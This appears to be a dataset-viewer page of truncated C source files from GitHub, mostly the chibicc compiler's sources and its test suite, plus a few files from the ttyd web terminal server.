static char *argreg32[] = {"%edi", "%esi", "%edx", "%ecx", "%r8d", "%r9d"}... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | include/stdatomic.h | null | null | null | null | null | null | C | 2026-05-04T18:47:57.701659 | #ifndef __STDATOMIC_H
#define __STDATOMIC_H
#define ATOMIC_BOOL_LOCK_FREE 1
#define ATOMIC_CHAR_LOCK_FREE 1
#define ATOMIC_CHAR16_T_LOCK_FREE 1
#define ATOMIC_CHAR32_T_LOCK_FREE 1
#define ATOMIC_WCHAR_T_LOCK_FREE 1
#define ATOMIC_SHORT_LOCK_FREE 1
#define ATOMIC_INT_LOCK_FREE 1
#define ATOMIC_LONG_LOCK_FREE 1
#define ... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | main.c | null | null | null | null | null | null | C | 2026-05-04T18:47:58.194375 | #include "chibicc.h"
typedef enum {
FILE_NONE, FILE_C, FILE_ASM, FILE_OBJ, FILE_AR, FILE_DSO,
} FileType;
StringArray include_paths;
bool opt_fcommon = true;
bool opt_fpic;
static FileType opt_x;
static StringArray opt_include;
static bool opt_E;
static bool opt_M;
static bool opt_MD;
static bool opt_MMD;
static b... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/atomic.c | null | null | null | null | null | null | C | 2026-05-04T18:47:58.369699 | #include "test.h"
#include <stdatomic.h>
#include <pthread.h>
static int incr(_Atomic int *p) {
int oldval = *p;
int newval;
do {
newval = oldval + 1;
} while (!atomic_compare_exchange_weak(p, &oldval, newval));
return newval;
}
static int add1(void *arg) {
_Atomic int *x = arg;
for (int i = 0; i < ... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/asm.c | null | null | null | null | null | null | C | 2026-05-04T18:47:58.378675 | #include "test.h"
char *asm_fn1(void) {
asm("mov $50, %rax\n\t"
"mov %rbp, %rsp\n\t"
"pop %rbp\n\t"
"ret");
}
char *asm_fn2(void) {
asm inline volatile("mov $55, %rax\n\t"
"mov %rbp, %rsp\n\t"
"pop %rbp\n\t"
"ret");
}
int main() ... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/attribute.c | null | null | null | null | null | null | C | 2026-05-04T18:47:58.385111 | #include "test.h"
#include "stddef.h"
int main() {
ASSERT(5, ({ struct { char a; int b; } __attribute__((packed)) x; sizeof(x); }));
ASSERT(0, offsetof(struct __attribute__((packed)) { char a; int b; }, a));
ASSERT(1, offsetof(struct __attribute__((packed)) { char a; int b; }, b));
ASSERT(5, ({ struct __attri... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/alloca.c | null | null | null | null | null | null | C | 2026-05-04T18:47:58.405523 | #include "test.h"
void *fn(int x, void *p, int y) { return p; }
int main() {
int i = 0;
char *p1 = alloca(16);
char *p2 = alloca(16);
char *p3 = 1 + (char *)alloca(3) + 1;
p3 -= 2;
char *p4 = fn(1, alloca(16), 3);
ASSERT(16, p1 - p2);
ASSERT(16, p2 - p3);
ASSERT(16, p3 - p4);
memcpy(p1, "012345... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | strings.c | null | null | null | null | null | null | C | 2026-05-04T18:47:58.409728 | #include "chibicc.h"
void strarray_push(StringArray *arr, char *s) {
if (!arr->data) {
arr->data = calloc(8, sizeof(char *));
arr->capacity = 8;
}
if (arr->capacity == arr->len) {
arr->data = realloc(arr->data, sizeof(char *) * arr->capacity * 2);
arr->capacity *= 2;
for (int i = arr->len; i... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | preprocess.c | null | null | null | null | null | null | C | 2026-05-04T18:47:58.411044 | // This file implements the C preprocessor.
//
// The preprocessor takes a list of tokens as an input and returns a
// new list of tokens as an output.
//
// The preprocessing language is designed in such a way that that's
// guaranteed to stop even if there is a recursive macro.
// Informally speaking, a macro is appl... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | parse.c | null | null | null | null | null | null | C | 2026-05-04T18:47:58.412305 | // This file contains a recursive descent parser for C.
//
// Most functions in this file are named after the symbols they are
// supposed to read from an input token list. For example, stmt() is
// responsible for reading a statement from a token list. The function
// then construct an AST node representing a statemen... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/arith.c | null | null | null | null | null | null | C | 2026-05-04T18:47:58.445552 | #include "test.h"
int main() {
ASSERT(0, 0);
ASSERT(42, 42);
ASSERT(21, 5+20-4);
ASSERT(41, 12 + 34 - 5 );
ASSERT(47, 5+6*7);
ASSERT(15, 5*(9-6));
ASSERT(4, (3+5)/2);
ASSERT(10, -10+20);
ASSERT(10, - -10);
ASSERT(10, - - +10);
ASSERT(0, 0==1);
ASSERT(1, 42==42);
ASSERT(1, 0!=1);
ASSERT(0,... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/alignof.c | null | null | null | null | null | null | C | 2026-05-04T18:47:58.482803 | #include "test.h"
int _Alignas(512) g1;
int _Alignas(512) g2;
char g3;
int g4;
long g5;
char g6;
int main() {
ASSERT(1, _Alignof(char));
ASSERT(2, _Alignof(short));
ASSERT(4, _Alignof(int));
ASSERT(8, _Alignof(long));
ASSERT(8, _Alignof(long long));
ASSERT(1, _Alignof(char[3]));
ASSERT(4, _Alignof(int[3... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/bitfield.c | null | null | null | null | null | null | C | 2026-05-04T18:47:58.843906 | #include "test.h"
struct {
char a;
int b : 5;
int c : 10;
} g45 = {1, 2, 3}, g46={};
int main() {
ASSERT(4, sizeof(struct {int x:1; }));
ASSERT(8, sizeof(struct {long x:1; }));
struct bit1 {
short a;
char b;
int c : 2;
int d : 3;
int e : 3;
};
ASSERT(4, sizeof(struct bit1));
AS... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/builtin.c | null | null | null | null | null | null | C | 2026-05-04T18:47:58.957164 | #include "test.h"
int main() {
ASSERT(1, __builtin_types_compatible_p(int, int));
ASSERT(1, __builtin_types_compatible_p(double, double));
ASSERT(0, __builtin_types_compatible_p(int, long));
ASSERT(0, __builtin_types_compatible_p(long, float));
ASSERT(1, __builtin_types_compatible_p(int *, int *));
ASSERT(... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/commonsym.c | null | null | null | null | null | null | C | 2026-05-04T18:47:58.991157 | #include "test.h"
int x;
int x = 5;
int y = 7;
int y;
int common_ext1;
int common_ext2;
static int common_local;
int main() {
ASSERT(5, x);
ASSERT(7, y);
ASSERT(0, common_ext1);
ASSERT(3, common_ext2);
printf("OK\n");
return 0;
}
|
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/complit.c | null | null | null | null | null | null | C | 2026-05-04T18:47:59.004283 | #include "test.h"
typedef struct Tree {
int val;
struct Tree *lhs;
struct Tree *rhs;
} Tree;
Tree *tree = &(Tree){
1,
&(Tree){
2,
&(Tree){ 3, 0, 0 },
&(Tree){ 4, 0, 0 }
},
0
};
int main() {
ASSERT(1, (int){1});
ASSERT(2, ((int[]){0,1,2})[2]);
ASSERT('a', ((struct {char a; int b;}){'a'... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/cast.c | null | null | null | null | null | null | C | 2026-05-04T18:47:59.034959 | #include "test.h"
int main() {
ASSERT(131585, (int)8590066177);
ASSERT(513, (short)8590066177);
ASSERT(1, (char)8590066177);
ASSERT(1, (long)1);
ASSERT(0, (long)&*(int *)0);
ASSERT(513, ({ int x=512; *(char *)&x=1; x; }));
ASSERT(5, ({ int x=5; long y=(long)&x; *(int*)y; }));
(void)1;
ASSERT(-1, (c... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/compat.c | null | null | null | null | null | null | C | 2026-05-04T18:47:59.056424 | #include "test.h"
_Noreturn noreturn_fn(int restrict x) {
exit(0);
}
void funcy_type(int arg[restrict static 3]) {}
int main() {
{ volatile x; }
{ int volatile x; }
{ volatile int x; }
{ volatile int volatile volatile x; }
{ int volatile * volatile volatile x; }
{ auto ** restrict __restrict __restrict... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/const.c | null | null | null | null | null | null | C | 2026-05-04T18:47:59.056948 | #include "test.h"
int main() {
{ const x; }
{ int const x; }
{ const int x; }
{ const int const const x; }
ASSERT(5, ({ const x = 5; x; }));
ASSERT(8, ({ const x = 8; int *const y=&x; *y; }));
ASSERT(6, ({ const x = 6; *(const * const)&x; }));
printf("OK\n");
return 0;
}
|
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/constexpr.c | null | null | null | null | null | null | C | 2026-05-04T18:47:59.103879 | #include "test.h"
float g40 = 1.5;
double g41 = 0.0 ? 55 : (0, 1 + 1 * 5.0 / 2 * (double)2 * (int)2.0);
int main() {
ASSERT(10, ({ enum { ten=1+2+3+4 }; ten; }));
ASSERT(1, ({ int i=0; switch(3) { case 5-2+0*3: i++; } i; }));
ASSERT(8, ({ int x[1+1]; sizeof(x); }));
ASSERT(6, ({ char x[8-2]; sizeof(x); }));
... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/control.c | null | null | null | null | null | null | C | 2026-05-04T18:47:59.110464 | #include "test.h"
/*
* This is a block comment.
*/
int main() {
ASSERT(3, ({ int x; if (0) x=2; else x=3; x; }));
ASSERT(3, ({ int x; if (1-1) x=2; else x=3; x; }));
ASSERT(2, ({ int x; if (1) x=2; else x=3; x; }));
ASSERT(2, ({ int x; if (2-1) x=2; else x=3; x; }));
ASSERT(55, ({ int i=0; int j=0; for (... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/decl.c | null | null | null | null | null | null | C | 2026-05-04T18:47:59.313318 | #include "test.h"
int main() {
ASSERT(1, ({ char x; sizeof(x); }));
ASSERT(2, ({ short int x; sizeof(x); }));
ASSERT(2, ({ int short x; sizeof(x); }));
ASSERT(4, ({ int x; sizeof(x); }));
ASSERT(8, ({ long int x; sizeof(x); }));
ASSERT(8, ({ int long x; sizeof(x); }));
ASSERT(8, ({ long long x; sizeof(x... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/enum.c | null | null | null | null | null | null | C | 2026-05-04T18:47:59.444460 | #include "test.h"
int main() {
ASSERT(0, ({ enum { zero, one, two }; zero; }));
ASSERT(1, ({ enum { zero, one, two }; one; }));
ASSERT(2, ({ enum { zero, one, two }; two; }));
ASSERT(5, ({ enum { five=5, six, seven }; five; }));
ASSERT(6, ({ enum { five=5, six, seven }; six; }));
ASSERT(0, ({ enum { zero, ... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/extern.c | null | null | null | null | null | null | C | 2026-05-04T18:47:59.575660 | #include "test.h"
extern int ext1;
extern int *ext2;
inline int inline_fn(void) {
return 3;
}
int main() {
ASSERT(5, ext1);
ASSERT(5, *ext2);
extern int ext3;
ASSERT(7, ext3);
int ext_fn1(int x);
ASSERT(5, ext_fn1(5));
extern int ext_fn2(int x);
ASSERT(8, ext_fn2(8));
printf("OK\n");
return... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/float.c | null | null | null | null | null | null | C | 2026-05-04T18:47:59.599550 | #include "test.h"
int main() {
ASSERT(35, (float)(char)35);
ASSERT(35, (float)(short)35);
ASSERT(35, (float)(int)35);
ASSERT(35, (float)(long)35);
ASSERT(35, (float)(unsigned char)35);
ASSERT(35, (float)(unsigned short)35);
ASSERT(35, (float)(unsigned int)35);
ASSERT(35, (float)(unsigned long)35);
A... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/generic.c | null | null | null | null | null | null | C | 2026-05-04T18:47:59.681515 | #include "test.h"
int main() {
ASSERT(1, _Generic(100.0, double: 1, int *: 2, int: 3, float: 4));
ASSERT(2, _Generic((int *)0, double: 1, int *: 2, int: 3, float: 4));
ASSERT(2, _Generic((int[3]){}, double: 1, int *: 2, int: 3, float: 4));
ASSERT(3, _Generic(100, double: 1, int *: 2, int: 3, float: 4));
ASSE... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/function.c | null | null | null | null | null | null | C | 2026-05-04T18:47:59.689192 | #include "test.h"
int ret3(void) {
return 3;
return 5;
}
int add2(int x, int y) {
return x + y;
}
int sub2(int x, int y) {
return x - y;
}
int add6(int a, int b, int c, int d, int e, int f) {
return a + b + c + d + e + f;
}
int addx(int *x, int y) {
return *x + y;
}
int sub_char(char a, char b, char c... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/include1.h | null | null | null | null | null | null | C | 2026-05-04T18:47:59.693102 | #include "include2.h"
char *include1_filename = __FILE__;
int include1_line = __LINE__;
int include1 = 5;
|
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/initializer.c | null | null | null | null | null | null | C | 2026-05-04T18:47:59.913068 | #include "test.h"
char g3 = 3;
short g4 = 4;
int g5 = 5;
long g6 = 6;
int g9[3] = {0, 1, 2};
struct {char a; int b;} g11[2] = {{1, 2}, {3, 4}};
struct {int a[2];} g12[2] = {{{1, 2}}};
union { int a; char b[8]; } g13[2] = {0x01020304, 0x05060708};
char g17[] = "foobar";
char g18[10] = "foobar";
char g19[3] = "foobar";
... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/line.c | null | null | null | null | null | null | C | 2026-05-04T18:48:00.307074 | #include "test.h"
int main() {
#line 500 "foo"
ASSERT(501, __LINE__);
ASSERT(0, strcmp(__FILE__, "foo"));
#line 800 "bar"
ASSERT(801, __LINE__);
ASSERT(0, strcmp(__FILE__, "bar"));
#line 1
ASSERT(2, __LINE__);
# 200 "xyz" 2 3
ASSERT(201, __LINE__);
ASSERT(0, strcmp(__FILE__, "xyz"));
printf("OK\n")... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/literal.c | null | null | null | null | null | null | C | 2026-05-04T18:48:00.307640 | #include "test.h"
int main() {
ASSERT(97, 'a');
ASSERT(10, '\n');
ASSERT(-128, '\x80');
ASSERT(511, 0777);
ASSERT(0, 0x0);
ASSERT(10, 0xa);
ASSERT(10, 0XA);
ASSERT(48879, 0xbeef);
ASSERT(48879, 0xBEEF);
ASSERT(48879, 0XBEEF);
ASSERT(0, 0b0);
ASSERT(1, 0b1);
ASSERT(47, 0b101111);
ASSERT(47,... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/offsetof.c | null | null | null | null | null | null | C | 2026-05-04T18:48:00.490708 | #include "test.h"
#include <stddef.h>
typedef struct {
int a;
char b;
int c;
double d;
} T;
int main() {
ASSERT(0, offsetof(T, a));
ASSERT(4, offsetof(T, b));
ASSERT(8, offsetof(T, c));
ASSERT(16, offsetof(T, d));
printf("OK\n");
return 0;
}
|
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/pointer.c | null | null | null | null | null | null | C | 2026-05-04T18:48:00.501135 | #include "test.h"
int main() {
ASSERT(3, ({ int x=3; *&x; }));
ASSERT(3, ({ int x=3; int *y=&x; int **z=&y; **z; }));
ASSERT(5, ({ int x=3; int y=5; *(&x+1); }));
ASSERT(3, ({ int x=3; int y=5; *(&y-1); }));
ASSERT(5, ({ int x=3; int y=5; *(&x-(-1)); }));
ASSERT(5, ({ int x=3; int *y=&x; *y=5; x; }));
AS... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/pragma-once.c | null | null | null | null | null | null | C | 2026-05-04T18:48:00.501789 | #include "test.h"
#pragma once
#include "test/pragma-once.c"
int main() {
printf("OK\n");
return 0;
}
|
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/macro.c | null | null | null | null | null | null | C | 2026-05-04T18:48:00.532539 | #include "test.h"
#include "include1.h"
char *main_filename1 = __FILE__;
int main_line1 = __LINE__;
#define LINE() __LINE__
int main_line2 = LINE();
#
/* */ #
int ret3(void) { return 3; }
int dbl(int x) { return x*x; }
int add2(int x, int y) {
return x + y;
}
int add6(int a, int b, int c, int d, int e, int f) {... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/string.c | null | null | null | null | null | null | C | 2026-05-04T18:48:01.520588 | #include "test.h"
int main() {
ASSERT(0, ""[0]);
ASSERT(1, sizeof(""));
ASSERT(97, "abc"[0]);
ASSERT(98, "abc"[1]);
ASSERT(99, "abc"[2]);
ASSERT(0, "abc"[3]);
ASSERT(4, sizeof("abc"));
ASSERT(7, "\a"[0]);
ASSERT(8, "\b"[0]);
ASSERT(9, "\t"[0]);
ASSERT(10, "\n"[0]);
ASSERT(11, "\v"[0]);
ASSE... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/sizeof.c | null | null | null | null | null | null | C | 2026-05-04T18:48:01.550379 | #include "test.h"
int main() {
ASSERT(1, sizeof(char));
ASSERT(2, sizeof(short));
ASSERT(2, sizeof(short int));
ASSERT(2, sizeof(int short));
ASSERT(4, sizeof(int));
ASSERT(8, sizeof(long));
ASSERT(8, sizeof(long int));
ASSERT(8, sizeof(long int));
ASSERT(8, sizeof(char *));
ASSERT(8, sizeof(int *)... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/stdhdr.c | null | null | null | null | null | null | C | 2026-05-04T18:48:01.551030 | #include "test.h"
#include <float.h>
#include <stdalign.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdnoreturn.h>
int main() {
printf("OK\n");
return 0;
}
|
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | test/struct.c | null | null | null | null | null | null | C | 2026-05-04T18:48:06.041756 | #include "test.h"
int main() {
ASSERT(1, ({ struct {int a; int b;} x; x.a=1; x.b=2; x.a; }));
ASSERT(2, ({ struct {int a; int b;} x; x.a=1; x.b=2; x.b; }));
ASSERT(1, ({ struct {char a; int b; char c;} x; x.a=1; x.b=2; x.c=3; x.a; }));
ASSERT(2, ({ struct {char a; int b; char c;} x; x.b=1; x.b=2; x.c=3; x.b; }... |
tsl0922/ttyd | https://github.com/tsl0922/ttyd | null | null | null | null | 11,557 | null | null | mit | null | null | null | null | null | null | null | src/http.c | null | null | null | null | null | null | C | 2026-05-04T18:48:08.269681 | #include <libwebsockets.h>
#include <string.h>
#include <zlib.h>
#include "html.h"
#include "server.h"
#include "utils.h"
enum { AUTH_OK, AUTH_FAIL, AUTH_ERROR };
static char *html_cache = NULL;
static size_t html_cache_len = 0;
static int send_unauthorized(struct lws *wsi, unsigned int code, enum lws_token_indexes... |
tsl0922/ttyd | https://github.com/tsl0922/ttyd | null | null | null | null | 11,557 | null | null | mit | null | null | null | null | null | null | null | src/utils.h | null | null | null | null | null | null | C | 2026-05-04T18:48:08.289077 | #ifndef TTYD_UTIL_H
#define TTYD_UTIL_H
#define container_of(ptr, type, member) \
({ \
const typeof(((type *)0)->member) *__mptr = (ptr); \
(type *)((char *)__mptr - offsetof(type, member)); \
})
// malloc with NULL check
void *xmalloc(size_... |
tsl0922/ttyd | https://github.com/tsl0922/ttyd | null | null | null | null | 11,557 | null | null | mit | null | null | null | null | null | null | null | src/server.c | null | null | null | null | null | null | C | 2026-05-04T18:48:08.290917 | #include "server.h"
#include <errno.h>
#include <getopt.h>
#include <json.h>
#include <libwebsockets.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "utils.h"
#include "compat.h"
#ifndef TTYD_VERSION
#define TTYD_VERSION "unknown"
... |
tsl0922/ttyd | https://github.com/tsl0922/ttyd | null | null | null | null | 11,557 | null | null | mit | null | null | null | null | null | null | null | src/server.h | null | null | null | null | null | null | C | 2026-05-04T18:48:08.291442 | #include <libwebsockets.h>
#include <stdbool.h>
#include <uv.h>
#include "pty.h"
// client message
#define INPUT '0'
#define RESIZE_TERMINAL '1'
#define PAUSE '2'
#define RESUME '3'
#define JSON_DATA '{'
// server message
#define OUTPUT '0'
#define SET_WINDOW_TITLE '1'
#define SET_PREFERENCES '2'
// url paths
struc... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.